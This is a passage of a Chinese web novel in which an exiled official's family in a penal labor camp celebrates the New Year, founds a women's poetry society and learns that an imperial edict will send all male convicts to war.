来来回回搬了许久,才把东西搬完。 王姨娘鼓足勇气说了句:“江公子,劳烦你送二小姐回来,留下来吃顿便饭吧。” 江嘉懿有些不好意思留下来,但回去的路途也要那么两个时辰,现在正值晌午,他也没吃饭。 “那好吧,那就叨扰了。” 云舒月对他道:“我王姨娘的手艺可好了,做的饭比我家从前的厨子还要好,你可有口福了。” 这话说得王姨娘都不好意思了,二小姐怎么能在贵人面前这么抬举她。 在贵人面前,像她这样的人,向来是能不得罪对方就烧高香了。 云舒月却不这么想,她家的人在外人面前的尊卑贵贱,也就等于她自身的尊卑贵贱,自然要在外面面前抬得越高越好。 最好让江小伯知道,吃到她王姨娘做的饭,是他的荣幸。 跟她一样的只有她爹了。 云明旭坐在“正堂”的主位上,仍旧在品茶,若是周围能挂上几幅墨宝,那就更好了。 “江公子,来尝尝我这儿的新茶,真不错诶,替我谢谢你家二夫人。” 王姨娘从鸡笼里挑出一只肥硕的母鸡,跟云梓莹一起,麻利宰杀、褪毛、洗净后,斩成大块。 炙得冒青烟的大铁锅里倒上自家压榨的菜籽油,葱姜蒜一下锅,浓郁的香味在院子里散开。 “正堂”上正品着上品毛尖的二人,眉头一皱,摇摇头,继续品茶了。 这清新高雅的毫香,与满屋子青烟和菜籽油的气味混在一起,真是头一遭的体验了,江嘉懿无奈放下茶杯,茶倒是好茶,可他看向云明旭,对方仍是一脸陶醉的模样。 不光是这,他那姓柳的小妾,还在一旁伺候他捏肩捶背呢。 温声细语地“老爷”“老爷”叫着,架势倒比江嘉懿在自家还要过得快活几分。 王梅英将鸡肉入锅,快速翻炒至表皮金黄,烹入米酒,再添上几瓢井水,盖上锅盖,小火慢炖。 这柴灶炖的鸡,做法简单粗暴,却别有一番风味。 云舒月觉得,倒比她从前吃的什么璃盏玉露鸡膏、凤栖金粟鸡馔、绛英绕凤脯这些菜,要好吃得多。 她不禁又想起来,那日想的,是雪夜里观赏雪昙盛开的绝美景象更好,还是在皇宫里赴宴顺便得一句太后夸奖的好。 现在又想,是吃从前那些做法精细,她却每次动不了两筷子的珍馐好,还是吃着大院子里“刺啦”一声烧出来的土灶菜好。 她摇摇头,江清辞说得对,她又不是不能都要,她都要。 “刺啦”一声,又是一盘菜下锅。 王姨娘“咔哒”一声敲了几个蛋进陶罐里,用筷子快速搅散,蛋液泛起细密泡沫。 院子的角落里,脆嫩嫩的小葱长得郁郁葱葱,随手割下一把,洗净切碎撒进蛋液。 铁锅里拿猪油润了,蛋液一入锅,边缘瞬间凝固变得焦脆,蛋香裹挟着葱香弥漫开来。 轻轻晃动铁锅,蛋饼在锅中滑动,翻面再煎,直至两面金黄。 云梓莹端着碗在一旁候着,咽了咽口水,想也知道,咬上一口那外酥里嫩葱香与蛋香交织的美味。 就在这时,院门外一男子遮遮掩掩地出现了,一直往云梓莹身上看。 云梓莹见了他,也不知自己该不该出去。 二姐说了,不许她再见他。 就算她心里是对李公子有一些倾慕,但她还是听二姐的。 父亲说了,家里什么事都听二姐的。 云梓莹悄悄往王姨娘身后躲去。 那男子却不甘心,往前走了两步,露了大半个头出来。 云舒月见着他,大吼了一声:“你是什么人!” 李文宣吓了一大跳,再看向云舒月,退后了两步。 云舒月是他从前朝思暮想的女子,再说,当时他们这些公子哥谁不肖想云舒月。 那可是声名最为响亮的云舒月。 都说,她天生丽质,容貌堪称倾国倾城,只需轻轻一瞥,便能摄人心魄。 琴棋书画那是样样精通,才情出众,饱读诗书,对诗词歌赋信手拈来,才情之高,在京城贵女中独占鳌头。 而她的身姿,永远仪态万方,走路时就像一幅流动的仕女图。 京中的雅集与宴会,皆以能邀到她赴宴为荣,她亲和友善又不失贵气,人脉广泛,引得诸多公子倾慕,拜倒在她的石榴裙下。 不过,在江三公子跟前,他们这些人,都是小虾米。 可惜在江家落难前,李家就已经在牢城营安家了,否则他高低要想一想,能否趁那时赢得美人芳心。 其实他,其实他连云舒月的正脸都没正经瞧见过的,关于她的事情,他大多是听人传的,未能亲身见到。 “我,我是李家,李文宣。” 他躬身端手行了一礼。 云舒月瞥了他一眼:“哦,关我什么事?” 也不是人人找上门来她都爱搭理的。 李文宣自知就算是现在,他也高攀不上她,便小心指了指一旁的云梓莹。 “我找云四小姐。” 云舒月看了眼云梓莹,云梓莹脸颊通红的垂下头,不敢直视她的双眼。 “我,我这就出来。” 云梓莹正要往外走,云舒月一把子拎住她。 “有什么事,不能当着家里的面儿说,还非要出去说,李家公子,没听说过你李家是这般教养。” 李文宣咬牙,他跟云梓莹本来好好的,手也给他拉,嘴也给他亲,结果不知怎的,突然有一日,云梓莹再也不来见他了,见着他还绕着走,他实在摸不着头脑,这才找上了门。 “梓莹,我是来见你的,是不是有什么误会……” 李文宣心想,事情本就是一早经过了云梓莹她姨娘首肯的,他没做错什么,光明正大的把事情说清楚也好。 谁知道云舒月当即打断他道:“阿兄,这是骚扰四妹的登徒子,把他打出去。” 云鸿祯捏捏拳,不过,妹妹是怎么知道,他现在武力很强的。 李文宣还没说完话,云鸿祯一拳锤了上去。 李文宣毫无防备,被云鸿祯这一拳结结实实砸中,整个人踉跄着往后退了几步,一屁股跌坐在地。 他捂着被揍得升腾的下颌骨,眼中满是今个与愤怒,“你们疯了吗?凭什么打人!” 云鸿祯活动了下手腕,居高临下地看着李文宣,冷哼一声:“就凭你敢纠缠我妹妹,今天这一拳只是给你个教训,你若还敢来,就不是一拳这么简单了。” 李文宣又惊又怒,斥责道:“我这就去找官兵告状,你们云家人无权打人!” 李文宣挣扎着站起身,再看云梓莹的模样,哪里还不明白,不就是她没看上自己吗。 这时江嘉懿皱着眉从里头出来,李文宣见了他,恍然大悟:“原来如此,你们云家人原来是又攀上了高枝啊,哼,我倒要看看,你们攀附着江家能活到几时。” 江嘉懿连忙撇清,这话说得太难听,叫人听了多不舒服。 “李公子,从前大家都是京里有头有脸的人物,没有谁攀附谁一说,你别乱说话。” 云鸿祯将手指头掰得咔咔作响,像是这人要再不走,他又要一拳挥上去。 眼瞅着他倒退着离开了,云舒月冷哼一声:“没出息的男人,四妹,就这?” 她侧头看向云梓莹,面露嘲讽。 云梓莹头越埋越低,本来对于二姐的命令,她心中还有些不服,但不敢忤逆二姐,可此时……那人虽的确不是良人,二姐自己又能找到江三公子那样好的郎君,也难怪要嘲讽她。 云明旭这时才慢吞吞地从屋子里出来:“饭做好了没,我要吃饭。” 在他看来,一个庶女,在外头的男人找上门来,若是在京城,他必要打断云梓莹的腿,可这里是牢城营,没人看中名声,也无人会因此来嘲笑云家的门楣,云明旭自然不爱管这件事。 王姨娘正因为李文宣那事心里害怕,孩子不懂事,没人会怪孩子,可她这个做姨娘的做错了事,老爷怪罪下来可不得了。 “老爷,马上就好。” 云舒月坐在饭桌前,扫视一切,好在家中一切可控,父亲与她的目标一致,王姨娘母女俩向来懦弱,虽然蠢了些,但凡是都愿意听她的,柳姨娘母女俩每天除了偷懒倒也不会惹祸,一圈看下来,哥哥和母亲倒是最有自己想法的两个人了。 “母亲,你省些力吧,有些活儿,能让别人做的就让别人做去。” 晚上,云舒月这般嘱咐母亲。 林书柔摇头道:“我没事的,该我做的活儿,我自然要做。” 云舒月觉得,哥哥真是尽数继承了母亲,而她,尽数继承了父亲。 只可惜,父亲没有多疼爱她这个最像他的女儿,父亲跟她一样,心里只有他自己。 转眼到了除夕,这是她们一家,在牢城营过的第一个年。 云明旭心说有些规 矩还是要照着做,云舒月却说免了。 否则,他们这些做子女的,就要到父母面前行一番冗长的跪拜大礼才行。 王姨娘今日依旧是起了个大早,一大桌子的菜都是她跟云梓莹两人一起完成的。 林书柔和云鸿祯也帮忙做了不少事。 柳姨娘一如既往腻在父亲身边讨好,云千雁待在屋子里躲懒。 往昔家中张灯结彩,如今虽也过得不差,许多排场却还是不敢摆出来的。 夜晚,大家围坐在木桌前,桌上菜肴仍旧丰盛。 云舒月率先举杯:“往后咱们家的日子,一定会越过越好。” 一旁的林书柔微微点头,眼神中透着坚定:“只要一家人在一起,再难的日子也能熬过去。” 正说着,外面传来一阵喧闹声,原来是官兵们在分发一些简陋的年货,虽然只是一些粗布和少量的食物。 待发到云家的时候,云明旭起身,恭恭敬敬接过了年货,道了谢。 那官兵看了一眼云家院子里的盛况,不太自然地说了句:“你们云家倒是比我们这些官兵还要吃得好些。” 说完,那些官兵又喧闹着走了。 突然,隔壁院子里传来了一阵悠扬的笛声,隔壁住的是一位老者,已经在牢城营度过了大半生。 笛声婉转空灵,还夹杂着一些人声的哼唱,说不出的悲伤曲调。 云舒月闭上眼,静静聆听着,忽然掉下泪来。 林书柔连忙掏出手帕擦她脸上的泪:“大过年的,不吉利,多笑笑。” 云舒月睁开眼,看着母亲:“母亲,你就不怕,咱们跟他一样,要在这牢城营中老死病死吗?” 她看似接受了这里的生活,可她只要一想到,若不去争,不去筹谋,就要在这里过上一辈子,这就是她短暂辉煌过后永久灰暗的一生,她就心痛得厉害,她不服。 林书柔微微一怔,轻轻握住云舒月的手,语气温柔却坚定:“只要好好活下去,会有希望的。” 第55章 第55章微光诗社 云明旭在一旁默默听着,此时开口说道:“谁说我们要一直待在这儿了,云二,为父虽已落魄至此,但从未放弃过寻找回去的机会。” 云舒月不想给父亲泼冷水,能回去的路子就那么几条,父亲又能如何寻找呢。 王姨娘道:“二小姐,你不是,与那江家三公子关系甚好吗?你为何会害怕回不去了。” 云舒月听了这话,心情并未畅快许多。 “求之于人,总不如自己家筹谋来得心安。” 云鸿祯道:“妹妹,至少咱们一家人都还完完整整地在一起,这已是天大的幸运了,何必去想以后得事情呢?” 云舒月点点头,哥哥说的是,从京中启程来黔州时,她惟愿能保住一条命而已。 来了牢城营以后,她也惟愿能吃饱饭而已。 “先吃饭吧,只可惜今年没有鞭炮可放了。” 云鸿祯道:“妹妹带回来的那些东西里,有一箱子鞭炮。” 云舒月听闻这话,眼睛瞬间瞪得溜圆,她没想到薛伯母竟将给她的年礼备得这样周全。 薛伯母待她,也不过是尽待客之道而已,江家人重体面,她就是要再多的好处也是要得到的。 但薛伯母实在贴心,云舒月一颗硬邦邦的心,都有些动容了。 人与人之间的情感,有时候不是光靠付出了多少来衡量,就比如这一箱子鞭炮,明明不值多少钱,却打破了客套与真情的那一点点界限。 也让这黑漆漆的牢城营,唯有云家上空,绽开了五颜六色的焰火。 随着云明旭点燃印信,“噼里啪啦”的鞭炮声瞬间在牢城营空中炸响。 无论是石屋里的人,还是草屋里的人,此时都站出来往天空看。 这声响仿若一道惊雷,火星四下飞溅,雪花般纷纷扬扬飘落,然后消失不见。 这样充满生机与喜庆的场景,实在少见。 云舒月望着跳跃闪烁的鞭炮火花,眼眶不禁又湿润了。 她爱哭,也易哭,往常总能借着眼泪,抒发出比实际上多得多的情感,借此讨来了不少的偏爱与好处。 云鸿祯轻轻擦她的泪:“妹妹,不哭。” 云舒月一边哭一边对哄她的哥哥强调:“哥哥,我这次哭不是装的。” 过了一会儿,谭君雅和乔婉宁也来了,又过了一会儿,郑明珠还有别的相熟姐妹也来了。 “你们家放的炮隔老远都能看到。” 云舒月笑着道:“大家伙儿一起看嘛。” 谭君雅道:“你才回来,我有个好消息还没跟你说。” “什么好消息?” 谭君雅道:“咱们诗社在整个黔州都出了名了。” 云舒月眼中闪过一抹难以置信,姐妹们聚在一起,写写诗,作作画,与从前在京中的雅集别无二致,如何能出了名了。 谭君雅重重点头,脸上满是骄傲:“千真万确,姐妹们上次作的诗和论文,我与乔婉宁都整理成册,我带到铺子里去,竟被一位文人翻看了,他看了后,赞不绝口,将诗集带到府城去,没想到在那儿引起了轰动。” “后来我方才知道,那个文人就是黔州极为又名的一位大儒——杨鹤年!” 云舒月听到这个名字,不禁也倒吸一口凉气,在京中时,有幸听闻过这位大儒,他不仅才学渊博,门下更是桃李满天下。 云舒月急切地问道:“君雅,你可确定是他?” 谭君雅用力点点头:“就是他!他还说,咱们诗社的女子才情斐然,字里行间透着热爱与不屈,他很是欣赏。” 云舒月至今不敢相信:“我还以为,像他那样的大儒,都是看不惯我们这些女子作的矫情诗的呢。” 谭君雅道:“不一样,他以前是看不惯,但他说,咱们的诗集里,又一种很特别的味道。” “什么味道?” “我也不知道,他没明说,许是,咱们脚踩红土地,手执大肉包子,却像往常一样附庸风雅,写出的诗里带有的独特味道吧。” 云舒月恍然:“哦,大肉包子味儿。” 乔婉宁道:“不管怎么说,这当是一件好事,咱们得尽快给诗社起一个响当当的名字才是。” 云舒月沉吟了一会儿:“叫‘破茧诗社’如何?咱们都是暂且身处困境,被束缚住了,但总有一天要挣脱出去。” 郑明珠道:“我想了一个,叫‘微光诗社’,虽然身处黑暗,咱们也并不耀眼,却能散发出一点点微小的光,不管怎么样,咱们总是有价值的,微光还有一层含义,它代表着诗社能照亮咱们往前的路,尽管微弱一点,小一点,但咱们人生也有希望了,不是吗?” 云舒月眼睛一亮,点头道:“此名甚好,就叫微光诗社如何?” 众人皆无异议。 云明旭微微皱眉,似在想些什么,然后开口道:“诗社出名,说不定能带来什么机遇,云二,你可要好好把握。” 云舒月深吸一口气,点头道:“我知 道。” 微光微光,诗社说不听能给她带来意想不到的转折。 谭君雅道:“我决定将我的书画铺彻底改成只售卖和展示咱们诗社的作品,最大程度增长名气。” 云舒月为诗社掌坛,乔婉宁为副掌坛,谭君雅掌管通联司,承担与外界沟通联络的使命。 微光诗社便就这样成型了。 自诗社得名“微光”后,云舒月便全身心投入到每日的聚会当中,探讨从诗词格律到意境营造。 不过每日大部分的时间,她都扛着锄头与姐妹们下地去了。 工头说:“开春前必须把地翻完,然后就要开始播种,若是误了朝廷收粮食的进度,当心皇上降罪。” 黔州牢城营因为关押的都是官员及其家眷,也是皇上唯一会关注的一个牢城营。 每月的产出,行宫的进度,都是时时往皇宫里汇报的。 江清辞能做一些小手脚,但做不了大的手脚。 云舒月紧了紧手中那略显粗糙的锄头把,深吸一口气,踏入了泥泞的土地。 她学着家里其他人的样子,高高举起锄头,猛地朝地面砸去,土地被锄头翻起,散发出一股厚重的气息。 每一下锄头的起落,都震得她虎口生疼,但云舒月咬着牙,没有退缩。 林书柔特地告知了她:“这一亩地便归你了,好好干。” 母亲并没有叫她偷懒,而是当真给她分了一块儿地出来。 “咱们家,每个人肩上都压着任务呢。”除了云明旭。 云舒月不小心被石头绊了一下,险些摔倒,再抬头一看父亲,父亲倒好,优哉游哉搬了把躺椅在田埂上晒太阳。 诗筠给云舒月套上一双毛手套:“小姐,当心把手磨糙了。” 云舒月笑着将手套戴上:“还是你想得周到,你也戴上。”以后首辅夫人身边的大丫鬟,可不能有一双糙手。 云舒月没管父亲,父亲有两位姨娘替他干活,她可没有。 她要是有两个小夫郎,那她也不用干活。 日头渐渐升高,久违的汗水从云舒月的脸颊滑落,真累啊。 她拄着锄头歇息,望向一整片翻过的土地,心中甚是满足。 一想到靠她的手,将来还能种出粮食来,她就感到不可思议。 过完年,江清辞没在家里待多久,很快回了牢城营,压在他身上的担子重,在朝廷的大军过来之前,牢城营的粮食必须长出来。 放眼望去,初春的牢城营农田一片广袤,腹地的许多劳作场地都停工了,所有人皆在土地上干活。 劳作的人群密密麻麻,如同一群蝼蚁,锄头起起落落,翻起的泥土犹如黑色的波浪。 就在这忙碌的画面之中,他下了马,一眼看到了云舒月娇小的身形。 她穿着许久未曾穿过的粗布衣衫,阳光洒在她身上,每一个挥动锄头的动作都生涩而用力。 “吭哧吭哧——咚——” 一锄头砸下去,江清辞蹙起了眉,她这样挥,那小腰不会断吗? 一锄头下去,云舒月往前踉跄了两步,又迅速稳住身形,再来一锄。 还真是每一下都用尽了全力。 江清辞把住了她刚刚抬起的手。 云舒月眼睛一瞪,抬头看他:“咦,你回来了。” 她朝他一笑,汗水从额头上冒出,顺着她脸颊滑落。 江清辞从怀里掏出手帕,轻轻擦拭她的脸颊,无奈道:“不是说让你不用下地的吗?” 云舒月道:“所有人都在,我不好意思躲懒的。” 江清辞侧头,云舒月顺着他的视线看去,正好看到了在躺椅上喝茶的父亲。 云舒月指着刚刚那片地:“你看,这些都是我翻好的。” 她胸膛微微起伏着,还喘着气。 江清辞视线扫过,捏着她的手,心里像扎了根刺。 “累不累?”他决定先不说,他们种的这些粮食会用去何处。 这些粮食只有极小一部分会进了这些人的肚子。 云舒月摇头:“不累,我要一鼓作气,把剩下的这些地都翻完。” 江清辞实在不忍心看她劳累,便夺过她的锄头:“我帮你,你去一旁歇着吧。” 云舒月心想,自己也有夫郎可以帮忙了,那她就可以跟她父亲一样,休息去了。 “那好吧,不过,你会吗?” 江清辞一个公子哥儿,吃过的苦还没有她多呢。 江清辞观察了一圈周围人的动作,蹙眉道:“这有何难的,你去一旁待着就是了。” 云明旭的身旁便多了张躺椅,云舒月优哉游哉地躺下了。 江清辞挽起还未来得及换下的锦袍衣袖,他学着周围人的样子,高高举起锄头,“砰”的一声锄向了地面。 多挥了几下,动作倒也熟练了,翻土的速度越来越快,比云舒月快多了。 不一会儿,她那一小片地都被他翻完了,他前后左右看了看,到了林书柔的地里。 “岳母,我帮你。” 林书柔诧异抬头:“你,你叫我什么?” 第56章 第56章所有男犯充军 江清辞意识到自己说错话,眼底闪过一丝无奈。 “嗯,岳母。” 林书柔奇奇怪怪地看着他:“你别乱叫。” 江清辞颔首,是,还没过礼,不能乱叫。 “抱歉。” 他道歉的样子,谦逊有礼,双眸中满是诚恳,林书柔瞧着他这般模样,心中虽觉得怪异,但也不好再多说什么,只是摆了摆手:“你别做你别做,这是我的活儿,哪能让你干。” 说着,要去夺江清辞手里的锄头,江清辞避开她:“就让晚辈效劳吧,伯母,您松手。” 林书柔还要争抢两下,被江清辞一把夺了过去。 他的动作利落,锄头起起落落,三两下泥土便被翻整开来。 云舒月在一旁看着,既觉得好笑,心中又升起暖意。 江清辞既是良配,那她便与他好好处就是了,今后大概,也不会再出那样的事了。 此时,远处监工的工头注意到这边的动静,急忙走过来。 “哎哟,江大人,怎的劳您亲自动手了。” 云家人的偷懒习性,整个牢城营谁不知道,可人家头上有江大人罩着,官兵们不敢说什么。 可江大人现在亲自下地干活了,他们可不能在一旁傻站着看。 工头满脸恭敬,腰弯得像煮熟的虾,手微微发颤:“江大人,这可使不得呀!” 江清辞侧身摆摆手:“我没事,你站在旁边看着便是了,不用担心什么。” 看着上司干活而自己在一旁傻站着,这是蠢人才能干出来的事。 那工头满脸堆笑,不好意思道:“您这话说的。” 他又招了招手:“兄弟们,还不快来干活!” 江清辞眼看着地里的官兵越来越多,面露无奈。 只温柔说道:“你们爱干便干吧,这地早一天耕完也就能早一天播种。” 这整个牢城营的梯田上,便只剩下云舒月和云明旭两个人在一旁休息了。 云舒月望着那片热火朝天的景象,目光始终黏在江清辞身上,挪不开眼,他虽身处一群官兵之中,却依旧那般显眼,哪怕衣衫已被汗水浸湿,衣摆也沾上了点点泥土,可周身那股矜贵之气,却丝毫未减。 林书柔看着自己的地被耕得缓缓缩减,有些无措。 “这,这,这下人家又要说我们云家最爱偷懒了。” 她本想凭一己之力做完这些的,那些人说她家人爱偷懒,她就定要争口气回来。 可女儿对她说:“母亲,你想得太多了,那些人的评价一点也影响不了我们分毫,何必在意呢。” 但林书柔就是在意。 云明旭端起茶杯,轻抿一口,目光也投向江清辞,微微颔首,小声道:“云二,你小时候没选错人,江清辞真是不错,可有想过,接下来该如何利用他?好帮你,帮咱们家,摆脱现状。” 云舒月嘴角噙着笑:“哪用费力思考如何利用他呢,无论我要求什么,他都会答应的。” 她昂着头颅,傲气又出来了。 父亲又夸赞了她几句:“不愧是我倾尽全力培养出的女儿,云二,你从没让父亲失望过,将来也一定会过得很好。” 云舒月听完那些夸奖,心里是高兴不假,但她微微敛眉,陷入沉思,她虽知他会应允她的任何请求,而她甚至不用付出真心,只需用些手段,但她现在却不想只是一味索取了。 重情重义四个字,从不属于云家父女,云明旭自然不能理解她,而云舒月也没必要向父 亲说得多么清楚。 云明旭道:“云家如今处境艰难,你要记住,若有机会,断不可错失,来了牢城营以后,咱们不是没想过别的路,只是最后还是敲定了江家,你便要不遗余力地利用,让他们成为咱们家翻身的倚仗。” 云舒月点头:“父亲,女儿知道。” 云明旭见她眼神坚定,对她自是放心。 云舒月望向江清辞,眼神像是要将他洞穿一样。 随着夕阳西下,余晖渐渐被夜幕吞噬,牢城营在一片静谧中陷入了黑暗。 劳作了一天的人们逐渐退去,云舒月拿着手帕子,到江清辞跟前:“清辞哥哥,擦擦汗。” 江清辞额间渗出了不少汗水,虽然此时还算冬日,但太阳明晃晃地晒着,又在劳作,很难不出汗。 “多谢月儿。” 远处的石屋里升起炊烟,王姨娘已经在做饭了。 与此同时,王姨娘腹中的孩子也已经四个月了,云舒月不知道那是个弟弟还是个妹妹,但她期望那是个弟弟。 庶子而已,只会成为哥哥的助力。 云舒月丝毫不担心家中多一个孩子会导致她被夺去些什么,父亲最讲究身份阶级,她与哥哥两人的尊贵,谁也夺不走。 家中孩子自然是越多越好。 临进屋之前,云舒月稍落后父亲半步,眼睛斜斜地看着父亲,声音有些冷:“父亲,不是早说了,别让王姨娘干活,她如今月份大了,经不起折腾。” 云明旭站住脚,扭头看她:“她不干,难不成我干?” “不是还有柳姨娘呢么。” 云明旭点点头,进了屋。 云舒月便知道,会偷懒的女人,才会享福一辈子。 王姨娘但凡硬气点,说不干就不干,就不伺候他了,他还不是得使唤柳姨娘去。 云舒月摇摇头,王姨娘如何,柳姨娘如何,终归也不关她太大的事。 只是王姨娘做的饭菜实在是香,她猛吸了一口,江清辞在她身后叫住她:“月儿。” 云舒月回头:“怎么,你想来我家吃饭?” 林书柔拽了拽她:“怎么说话呢,是你该主动邀请江三公子来家里吃饭才是。” 云舒月便道:“那就请公子到我家一起吃顿便饭吧。” “如此,便叨扰了。”江清辞脚步轻快,嘴角挂着浅笑。 踏入云家,屋内陈设并不简陋,处处都被收拾得井井有条。 云明旭见江清辞来了,也不起身,挥了挥手,脸上挂笑:“江三公子,坐,坐,云二,去给江三公子上茶。” 云舒月嘟着唇,满不情愿地去了。 茶盏倒也是轻轻往江清辞身前一搁:“公子,请用茶。” 手抽开的时候,江清辞一把握住了她,将她的手捏在掌心里,放在桌子底下。 待院中灶上的香气传来,云明旭大手一挥:“吃饭吧,吃饭吧。” 江清辞坐在了主位上,云家人才陆续落座。 江清辞往云舒月的掌心挠了挠,云舒月偷偷瞥了眼父亲,面上并无多余表情。 这时,林书柔夹起一块鸡翅,放在江清辞碗里,笑着说:“公子尝尝,这是我们家王姨娘的拿手菜,也不知合不合你的口味。” 王姨娘脸颊红红的,低下了头,小声道: “二小姐最喜欢吃鸡翅了,江三公子也尝尝。” 闻言,江清辞扭头,将鸡翅夹进了云舒月碗里:“你喜欢吃,便给你吃。” 云舒月摇摇头:“你吃吧。” 林书柔一脸无奈:“一块鸡翅而已,怎么还让起来了。” 云舒月将鸡翅又夹进江清辞碗里:“就是,还不快吃。” 江清辞憋着笑:“好。” 云明旭清了清嗓子,看向江清辞,问道:“江大人,近来牢城营诸事可还顺利?若有需要我做的事,尽管提便是。” 江清辞放下碗筷,端正坐姿,犹疑了一瞬,认真答道:“牢城营诸事顺利,云伯父不用做什么,若是想休息,尽管休息便是。” 云明旭满意地点点头:“正是。” 云舒月不动声色看向江清辞,眼神中带着询问。 饭吃到一半,外面突然传来一阵急促的脚步声。 云舒月心中一紧,还没等她反应过来,院门“吱呀”一声被推开,一个官兵模样的人匆匆走进来,凑到江清辞耳边低声说了几句。 江清辞脸色微变,眉头瞬间皱起。 云舒月见状,问道:“清辞哥哥,发生什么事了?” 江清辞视线落在云明旭身上,又落在云鸿祯身上,最后朝云舒月缓缓道:“西边有人闹事,我得去处理一下,抱歉。” 江清辞跟着官兵匆匆而去,屋内的气氛变得凝重了些。 “西边有人闹事?”云明旭道。 林书柔道:“别太担心,江三公子应该是有急事要处理,咱们继续吃饭。” 云舒月看向父亲,父亲仍是那般优哉游哉的样子,下巴肥厚,鼻翼丰满,耳垂大且厚,短暂的消沉之后,很快又恢复了每日乐呵呵的模样。 云舒月也笑起来:“别管他了,咱们继续吃。” 她心底升起一股不祥的预感,晃了晃脑袋,天塌下来有江清辞撑着,她不必担心什么。 江清辞已经回到丹奉台,叫来江嘉懿:“圣旨可属实?” 江嘉懿道:“我看你是发昏了,圣旨怎么可能不属实?” “北方战事吃紧,兵力短缺,皇上怎会将主意打到牢城营的这些罪犯身上来?” 江嘉懿耸耸肩:“如何不能?” 江清辞捏捏眉心:“这里都是些养尊处优惯了的家伙,皇上真是年纪大了,脑子不清醒。” 江嘉懿靠近他:“三侄,有些话可不能乱说,皇上特命牢城营所有男犯充军,即刻整备,三日后开拔,明日武将军便要前来点人。” 江清辞听后,脸色愈发凝重,眉头紧锁:“三日后便要开拔,时间如此紧迫,这些男犯从未受过训练,上了战场跟送死有什么分别?” 江嘉懿长叹一声,无奈道:“你就当,皇上就是要让他们死,上战场而死,这些罪犯还能落下个好名声。” 江嘉懿看着走来走去的三侄,知他是为了谁家在忧心。 “你是不是在想,该如何让云家两个男犯躲过这一劫?” 第57章 第57章“阿兄,别做傻事”…… 江清辞停下脚步,满脸无奈地看向江嘉懿,“再没有办法,我也得想办法让云家人躲过这一劫,我可以给皇上写亲笔信。” 婚书不假,他要救自己岳父理所应当。 “只是,你那婚书是夜郎国国君给的,你若为了这事将它舞到皇上跟前去,只怕皇上不会高兴呢。”江嘉懿微微摇头。 “事已至此,便只能先向我祖父呈明事实,待家中长辈为我二人签了盖大礼朝印的婚书,事情可解。” 江嘉懿道:“你要如何呈明?家里若是不愿呢。虽然父亲同意了,但他必不会愿意在这样的时候顺了你的请求。” 老爷子是最正义不过的一个人,怎会配合江清辞徇私。 “父亲大概率只会对你说一句:‘你自己的事情,自己办’。” 要求家里办事,就得听家里的,要追求自己的婚事,那就得靠自己。 江清辞咬牙道:“难不成就这么看着他们上战场不成?给我一夜的时间,我总能想到办法的。” “死遁?不成,云二心心念念着回京,绝不会同意她父兄失了身份。” “待明日武将军来了,我可先与他周旋 。” 深夜,云舒月躺在床上翻来覆去地睡不着,她无数次想起江清辞的表情,他不是轻易形于色的人,可他今日看上去,似是确实遇到了难处。 她不得不心慌起来,若是有江清辞都不能解决的事情,她该怎么办呢。 可千万别发生什么不好的事情,她就想在牢城营继续这么过下去,待到江家准备回京的时候,她就以江清辞娘子的身份跟着回去。 她从床上下来,夜幕如同一块沉重的黑布,沉甸甸压在牢城营上空。 月色黯淡,云舒月趁着夜色上了山。 “吱呀”一声,门缓缓打开,江清辞还坐在书案前。 看到云舒月,他眼中闪过一丝惊讶,随即转为关切:“月儿,这么晚了,你怎么来了?” 他朝她走去,为她肩上拢上披风。 换成平时,他这个时辰早已安睡,云舒月便知,定是出了什么事了。 云舒月走进屋内,看着他的双眼,直截了当问道:“出什么事了?” 江清辞轻轻握住她的手,将她拉到椅子上坐下:“没什么事,别担心。” 他想叫她往他怀里靠,云舒月挣开他的手,直视他的眼睛:“到底出什么事了?你得告诉我。” 江清辞仍将她按在怀里,温柔道:“皇上下了旨,要让牢城营的所有男犯充军,跟着武将军到北方战场上去。” 他不瞒她,云舒月是很聪明的女子,并不需要他全无死角的保护。 有些时候,她自保的能力比他要强得多。 云舒月闻言,江清辞感受到她的身子一僵,便更用力地抱紧她。 云家近一年来,实在是经历了太多波折了。 云舒月眼珠子缓缓转动,在思索些什么,江清辞知道,事情不必跟她说得太过清楚,她自是明白其中关键。 “若是武将军明日就要来点人的话,我父亲和哥哥还有什么办法能逃掉?病了?还是死了?” 江清辞握紧她的手,云舒月又道:“你与武将军相熟吗?可否请他通融一二。” “我江家世代从文,恰是武将军最看不惯的一类人,更何况,他是奉皇命而来。” 江清辞甚至觉得,皇上此番就是想要这些人的命。 云舒月眉头紧锁,愁容满面。 她若是失了父兄,前途该如何,不必深想也知道。 她转头抱住江清辞的腰,头埋在他腰间:“你得帮我。” 江清辞托住她的腮:“明日我先支开你父亲和哥哥,你别担心,我定不叫他们上战场去。” 云家石屋内,云明旭的鼾声打得正大,今晚又是搂着柳姨娘睡的,盖着充鹅绒的被子,屋里甚至还点着香。 若是不细看,他还是从前的富贵人家大老爷,一点区别也没有的。 云舒月咬着下唇,心底一阵后怕,若是事情不成,她该怎么办。 江清辞拢住她:“先上床安心睡下吧,别熬夜。” 江清辞将她横抱起来,在靠床里侧放下,给她盖上被子。 云舒月如何能心安呢,就她父亲那个样子,连采石场的活儿都不能适应,当初就因为挨了一鞭子差些丢了命,更何况刀剑无眼的战场上。 江清辞在她身侧躺下,环抱住她。 “无论如何,我定会护你周全。” 云舒月闭上眼,这是他最后的承诺了,他的承诺里,也只包含了她而已。 她轻声缓缓道:“如果实在不行,就将我父亲和哥哥送去夜郎国吧。” 能保下一命,但他们再也无法正大光明地回京了。 云舒月一开始的设想,不光她要做首辅夫人,她还要她父兄官复原职,云家重回曾经的门楣。 江清辞点头:“嗯。” 翌日一早,整个牢城营都开始喧闹起来。 武将军马上就到,事情瞒不了多久,这样的事情难免引起纷争。 云舒月从睡梦中惊醒,身旁的江清辞早已起身,正站在窗边,凝视山下的动静。 云舒月迅速起身,披上外衣,走到他身边:“武将军来了吗?” “还没有。” 她深吸一口气,努力让自己镇定下来:“我先下山。” 说完,她扭头便走,迎头装上郑家兄妹。 : 郑明珠一脸焦急:“父亲还有哥哥,你们都去,这不就是送死吗?” 郑昭言道:“我无事,我愿意去,你别担心。” 郑家原本就是水师,此时倒是磨刀霍霍,巴不得挣下军功回来。 云舒月绕开他们,郑家人是不用担心,可她云家人都是些酒囊饭袋,尤其是她爹。 迎头又撞上谭君雅,谭君雅刚从外面进了牢城营,父兄的事情不得不让她担心。 她没了丈夫,若是再没了父兄,在这世上可怎么活。 今日牢城营许是事多,阚承颜也来了,谭君雅连忙凑到他跟前去。 “阚大人,救命。” 她皱着眉头,红着眼眶,一脸的祈求,模样惹人生怜。 